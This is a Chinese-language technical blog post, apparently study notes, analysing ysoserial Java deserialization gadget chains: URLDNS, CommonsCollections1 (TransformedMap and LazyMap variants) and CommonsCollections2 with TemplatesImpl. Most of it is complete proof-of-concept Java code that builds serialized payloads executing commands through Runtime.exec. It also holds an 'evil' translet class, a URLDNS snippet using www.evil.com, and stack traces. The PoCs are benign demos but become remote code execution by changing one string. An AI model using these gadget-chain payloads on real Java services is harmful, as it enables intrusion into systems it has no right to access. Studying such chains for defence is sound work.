ysoserial gadgets分析

ysoserial gadgets

from su18:https://su18.org/tag/V0FeVGMWY/

URLDNS

java.net.URLhashCode函数会调用getHostAddress触发DNS请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

//handler.hashCode():
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);//触发DNS请求的地方
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

java.util.HashMap在被反序列化时,实现的readObject函数会调用hash(key)计算键的哈希,而为了计算键值的哈希值,会调用键的hashCode函数,所以假如一个HashMap对对象的键的hashCode函数有什么特殊方法都会在此时进行,比如一个HashMap对象的键是java.net.URL,那么在反序列化HashMap对象时就会将URL对象url进行DNS解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// 实现的readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//此时会去调用hash函数对key进行哈希
}
}
}

//hash函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);//调用key的hashCode函数
}

实际实现的时候,假如调用hash表添加元素的put方法,其实就是putVal(hash(key), key, value, false, true),那就会直接导致在添加元素的时候将DNS进行解析:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);//hash方法其实就是调用key的hashCode函数
}

且URL存在一个变量hashCode,假如在进行hashCode()时候发现hashCode不是-1,就不会进行handle.hashCode,而发现是-1就会直接进行handle.hashCode

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)//假如hashCode不是-1就不会进行后续解析DNS的操作
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

因此,为了避免在使用put函数往HashMap添加URL对象的时候直接触发DNS解析,需要首先使用反射的方式将hashCode设置为非-1,然后为了使得反序列化HashMap的时候能触发DNS解析,需要在添加好后把URL对象的hashCode设置为-1:

1
2
3
4
5
6
7
HashMap<URL,String> hashMap = new HashMap<>();
URL url = new URL("http://www.evil.com");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");//反射获取hashCode元素
f.setAccessible(true);
f.set(url,null);//避免在put的时候直接触发DNS解析
hashMap.put(url,"value");
f.set(url,-1);//使得反序列化时能触发解析

ysoserial使用的策略是在构造对象时使用实现的URLStreamHandler的子类SilentURLStreamHandler,可以在调用URL对象的hashCodegetHostAddress时返回null,从而在创建时不会触发DNS请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object getObject(final String url) throws Exception {
......
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler);
......
}
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

URLDNS这条链调用如下:

1
2
3
4
5
6
HashMap.readObject()    //kick-off 
HashMap.putVal() //chain
HashMap.hash() //chain
URL.hashCode() //chain
URLStreamHandler.hashCode() //chain
URLStreamHandler.getHostAddress() //sink

CommonsCollections

方便反射对象,实现了一些静态函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SerializeUtil {
SerializeUtil(){}

public static void writeObjectToFile(Object obj,String fileName) throws Exception{
FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}

public static void readFileObject(String fileName) throws Exception{
FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}

CommonsCollections1

这条链的kick-off java.lang.reflect.InvocationHandler在jdk 1.7及以下才会触发,因此调试的环境需要是jdk 1.7及以下。

kick-off:sun.reflect.annotation.AnnotationInvocationHandler实现的readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();//实例化AnnotationInvocationHandler对象时用到的Map的迭代器

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();//下一个迭代器指向的key
Class var7 = (Class)var3.get(var6);//注解的类型
if (var7 != null) {
Object var8 = var5.getValue();//下一个迭代器指向的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {//这里的Map初始化时需要是确定类别
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));//向Map中添加元素,触发kick-off
}
}
}

}

chain:org.apache.commons.collections.functors.ChainedTransformer中的对所有Transformer的transform函数的链式调用:

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);//当前Transformer的transform函数的参数是上一个Transformer的返回值
}

return object;
}

transform函数其实就是一个对HashMap的装饰器,装饰过的HashMap生成的Map在被添加元素时会触发相应Transformer的transform函数。

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.annotation.Resource;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;


public class TransformedDemo{
public static void main(String[] args)throws Exception{
//kick-off
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanderConstructor = annotationInvocationHandler.getDeclaredConstructors()[0];
annotationInvocationHanderConstructor.setAccessible(true);

//chain
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//Runtime.getMethod("getRuntime",null)
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//Runtime.getRuntime.invoke()
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"})//Runtime.getRuntime().exec()
});
Map hashMap = new HashMap();
hashMap.put("name",2);
Map transformedMap = TransformedMap.decorate(hashMap,null,chain);

InvocationHandler handler = (InvocationHandler) annotationInvocationHanderConstructor.newInstance(Resource.class,transformedMap);
SerializeUtil.writeObjectToFile(handler,"test.bin");

//sink
SerializeUtil.readFileObject("test.bin");
}
}

CC1这条的调用链:

1
2
3
4
5
AnnotationInvocationHandler.readObject()    //kick-off
TransformedMap.setValue()
ChainedTransformer.transform() //chain
ConstantTransformer.transform() //sink
InvokerTransformer.transform() //sink

执行命令前的堆栈状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
transform:119, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:356, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readFileObject:18, SerializeUtil
main:34, CC1Demo

另一种用LazyMap的思路,主要就是LazyMap在调用get()方法时会调用put()方法从而触发transform()方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);//没有获取到key触发put方法,向map添加元素
return value;
} else {
return super.map.get(key);
}
}

用什么来触发LazyMapget()方法呢?可以用AnnotationInvocationHandlerinvoke()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;

if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);//调用AnnotationInvocationHandler的Map的get()方法
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

而被动态代理过的InvocationHandler会在调用任意方法都会触发invoke,而在InvocationHandlerreadObject()函数会调用它的Map的entrySet()方法:

1
2
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();//触发点

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC1Demo2 {
public static void main(String[] args)throws Exception{
//kick-off
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanderConstructor = annotationInvocationHandler.getDeclaredConstructors()[0];
annotationInvocationHanderConstructor.setAccessible(true);

//chain
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//Runtime.getMethod("getRuntime",null)
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//Runtime.getRuntime.invoke()
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//Runtime.getRuntime().exec()
});
Map lazyMap = LazyMap.decorate(new HashMap(),chain);
//用LazyMap初始化注解类
InvocationHandler handler = (InvocationHandler)annotationInvocationHanderConstructor.newInstance(Target.class,lazyMap);
//动态代理注解类
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHanderConstructor.newInstance(Target.class, mapProxy);

SerializeUtil.writeObjectToFile(invocationHandler,"test.bin");
SerializeUtil.readFileObject("test.bin");
}
}

CC1这条的调用链LazyMap形式:

1
2
3
4
5
6
7
AnnotationInvocationHandler.readObject()    //kick-off
LazyMap.map.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() //chain
ConstantTransformer.transform() //sink
InvokerTransformer.transform() //sink

执行命令前的堆栈状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
transform:119, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:349, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readFileObject:18, SerializeUtil
main:37, CC1Demo2

CommonsCollections2

kick-off:import java.util.PriorityQueuereadObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();//讲数据反序列化到queue中

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();//对队列中的数据根据默认的compare方法进行堆排序
}

heapify调用siftDown

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

siftDown调用siftDownUsingComparator

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);//若实现了Comparable接口就调用
else
siftDownComparable(k, x);
}

siftDownUsingComparator会调用comparator.compare对队列的元素进行排列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

TransformingComparatorcompare方法会调用修饰的Transformertransform方法:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

后面的事情就是transform的事情了。

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Demo {
public static void main(String[] args)throws Exception{
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");

Field comparatorField = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparatorField.setAccessible(true);

ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}));
TransformingComparator transformingComparator = new TransformingComparator(chain);

comparatorField.set(queue,transformingComparator);

SerializeUtil.writeObjectToFile(queue,"test.bin");
SerializeUtil.readFileObject("test.bin");
}
}

CC2这条的调用链:

1
2
3
4
5
6
7
8
PriorityQueue.readObject()  //kick-off
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare() //chain
ChainedTransformer.transform()
ConstantTransformer.transform() //sink
InvokerTransformer.transform() //sink

执行命令前的堆栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
transform:127, InvokerTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readFileObject:18, SerializeUtil
main:27, CC2Demo

使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来让最后的sink变成实例化任意class的方法。

简单来说,就是链传到TemplatesImpldefineTransletClasses函数,会将_bytecodesload到_class中,再回到getTransletInstance中将_class实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//将_bytecodes load到_class
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//判断类的父类是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化_class,也是最后的sink
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Demo2 {
public static void main(String[] args)throws Exception{
String evil_class_path = "evil.class";
InputStream inputStream = new FileInputStream(evil_class_path);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "evil");

// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;

Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);

Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);

SerializeUtil.writeObjectToFile(queue, "test.bin");
SerializeUtil.readFileObject("test.bin");
}

public static String getType(Object o){
return o.getClass().toString();
}

public static int byteToInt(byte b) {
return b & 0xFF;
}
}

evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
public evil(){
try {
Runtime.getRuntime().exec("write.exe");
} catch (Exception e) {

}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

CC2这条链:

1
2
3
4
5
6
7
8
9
PriorityQueue.readObject()  //kick-off
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
class.newInstance()

实例化class之前的堆栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
getTransletInstance:387, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect) [2]
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect) [1]
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readFileObject:18, SerializeUtil
main:45, CC2Demo2